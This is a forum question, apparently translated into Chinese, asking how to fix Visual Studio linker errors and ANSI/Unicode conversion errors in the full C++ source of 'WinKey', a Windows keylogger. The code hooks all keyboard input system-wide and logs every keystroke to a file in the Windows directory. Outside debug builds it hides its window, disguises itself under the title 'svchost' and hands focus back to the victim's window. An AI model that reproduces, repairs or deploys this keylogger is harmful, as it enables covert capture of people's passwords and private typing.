0

如何修复这些错误?我尝试转换参数,但这会产生新的错误。我不知道如何解决这个问题。有谁知道如何解决这些错误?

在命令行模式下:

Error   1   error LNK2019: unresolved external symbol _main referenced in function ___tmainCRTStartup   C:\User\Documents\Visual Studio 2012\Projects\ConsoleApplication4\ConsoleApplication4\MSVCRTD.lib(crtexe.obj)   ConsoleApplication4
Error   2   error LNK1120: 1 unresolved externals   C:\User\Documents\Visual Studio 2012\Projects\ConsoleApplication4\Debug\ConsoleApplication4.exe ConsoleApplication4

在 win32 模板模式下:

Error   1   error C2664: 'GetKeyNameTextW' : cannot convert parameter 2 from 'char [255]' to 'LPWSTR'   c:\Win32Project7.cpp    60  1   Win32Project7
Error   2   error C2440: '=' : cannot convert from 'const char [7]' to 'LPCWSTR'    c:\Win32Project7.cpp    167 1   Win32Project7
Error   3   error C2664: 'CreateWindowExW' : cannot convert parameter 2 from 'const char [7]' to 'LPCWSTR'  c:\Win32Project7.cpp    184 1   Win32Project7
Error   4   error C2664: 'GetWindowsDirectoryW' : cannot convert parameter 1 from 'LPSTR' to 'LPWSTR'   c:\Win32Project7.cpp    210 1   Win32Project7
    5   IntelliSense: argument of type "char *" is incompatible with parameter of type "LPWSTR" c:\Win32Project7.cpp    60  23  Win32Project7
    6   IntelliSense: a value of type "const char *" cannot be assigned to an entity of type "LPCWSTR"  c:\Win32Project7.cpp    167 28  Win32Project7
    7   IntelliSense: argument of type "const char *" is incompatible with parameter of type "LPCWSTR"  c:\Win32Project7.cpp    182 30  Win32Project7
    8   IntelliSense: argument of type "const char *" is incompatible with parameter of type "LPCWSTR"  c:\Win32Project7.cpp    182 41  Win32Project7
    9   IntelliSense: argument of type "LPSTR" is incompatible with parameter of type "LPWSTR"  c:\Win32Project7.cpp    210 22  Win32Project7

代码

#include "stdafx.h"


/*
 * WinKey -- A GPL Windows keylogging program. While this program can potentially
 * be used for nefarious purposes, it was written for educational and recreational
 * purposes only and the author does not endorse illegal use.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <fstream>
#include <iostream>
#include <string>
#include <windows.h>

#define DEBUG   1

#define OUTFILE_NAME    "Logs\\WinKey.log"  /* Output file */
#define CLASSNAME   "winkey"
#define WINDOWTITLE "svchost"

char    windir[MAX_PATH + 1];
HHOOK   kbdhook;    /* Keyboard hook handle */
bool    running;    /* Used in main loop */

/**
 * \brief Called by Windows automagically every time a key is pressed (regardless
 * of who has focus)
 */
__declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp)
{
    if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
        static bool capslock = false;
        static bool shift = false;
        char tmp[0xFF] = {0};
        std::string str;
        DWORD msg = 1;
        KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
        bool printable;

        /*
         * Get key name as string
         */
        msg += (st_hook.scanCode << 16);
        msg += (st_hook.flags << 24);
        GetKeyNameText(msg, tmp, 0xFF);
        str = std::string(tmp);

        printable = (str.length() <= 1) ? true : false;

        /*
         * Non-printable characters only:
         * Some of these (namely; newline, space and tab) will be
         * made into printable characters.
         * Others are encapsulated in brackets ('[' and ']').
         */
        if (!printable) {
            /*
             * Keynames that change state are handled here.
             */
            if (str == "CAPSLOCK")
                capslock = !capslock;
            else if (str == "SHIFT")
                shift = true;

            /*
             * Keynames that may become printable characters are
             * handled here.
             */
            if (str == "ENTER") {
                str = "\n";
                printable = true;
            } else if (str == "SPACE") {
                str = " ";
                printable = true;
            } else if (str == "TAB") {
                str = "\t";
                printable = true;
            } else {
                str = ("[" + str + "]");
            }
        }

        /*
         * Printable characters only:
         * If shift is on and capslock is off or shift is off and
         * capslock is on, make the character uppercase.
         * If both are off or both are on, the character is lowercase
         */
        if (printable) {
            if (shift == capslock) { /* Lowercase */
                for (size_t i = 0; i < str.length(); ++i)
                    str[i] = tolower(str[i]);
            } else { /* Uppercase */
                for (size_t i = 0; i < str.length(); ++i) {
                    if (str[i] >= 'A' && str[i] <= 'Z') {
                        str[i] = toupper(str[i]);
                    }
                }
            }

            shift = false;
        }

#ifdef DEBUG
        std::cout << str;
#endif
        std::string path = std::string(windir) + "\\" + OUTFILE_NAME;
        std::ofstream outfile(path.c_str(), std::ios_base::app);
        outfile << str;
        outfile.close();
    }

    return CallNextHookEx(kbdhook, code, wp, lp);
}


/**
 * \brief Called by DispatchMessage() to handle messages
 * \param hwnd  Window handle
 * \param msg   Message to handle
 * \param wp
 * \param lp
 * \return 0 on success
 */
LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp)
{
    switch (msg) {
        case WM_CLOSE: case WM_DESTROY:
            running = false;
            break;
        default:
            /* Call default message handler */
            return DefWindowProc(hwnd, msg, wp, lp);
    }

    return 0;
}

int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
        LPSTR cmdline, int ncmdshow)
{
    /*
     * Set up window
     */
    HWND        hwnd;
    HWND        fgwindow = GetForegroundWindow(); /* Current foreground window */
    MSG     msg;
    WNDCLASSEX  windowclass;
    HINSTANCE   modulehandle;

    windowclass.hInstance = thisinstance;
    windowclass.lpszClassName = CLASSNAME;
    windowclass.lpfnWndProc = windowprocedure;
    windowclass.style = CS_DBLCLKS;
    windowclass.cbSize = sizeof(WNDCLASSEX);
    windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
    windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
    windowclass.hCursor  = LoadCursor(NULL, IDC_ARROW);
    windowclass.lpszMenuName = NULL;
    windowclass.cbClsExtra = 0;
    windowclass.cbWndExtra = 0;
    windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;

    if (!(RegisterClassEx(&windowclass)))
        return 1;

    hwnd = CreateWindowEx(NULL, CLASSNAME, WINDOWTITLE, WS_OVERLAPPEDWINDOW,
            CW_USEDEFAULT, CW_USEDEFAULT, 640, 480, HWND_DESKTOP, NULL,
            thisinstance, NULL);
    if (!(hwnd))
        return 1;

    /*
     * Make the window invisible
     */
#ifdef DEBUG
    /*
     * Debug mode: Make the window visible
     */
    ShowWindow(hwnd, SW_SHOW);
#else
    ShowWindow(hwnd, SW_HIDE);
#endif
    UpdateWindow(hwnd);
    SetForegroundWindow(fgwindow); /* Give focus to the previous fg window */

    /*
     * Hook keyboard input so we get it too
     */
    modulehandle = GetModuleHandle(NULL);
    kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, NULL);

    running = true;

    GetWindowsDirectory((LPSTR)windir, MAX_PATH);

    /*
     * Main loop
     */
    while (running) {
        /*
         * Get messages, dispatch to window procedure
         */
        if (!GetMessage(&msg, NULL, 0, 0))
            running = false; /*
                      * This is not a "return" or
                      * "break" so the rest of the loop is
                      * done. This way, we never miss keys
                      * when destroyed but we still exit.
                      */
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return 0;
}
4

0 回答 0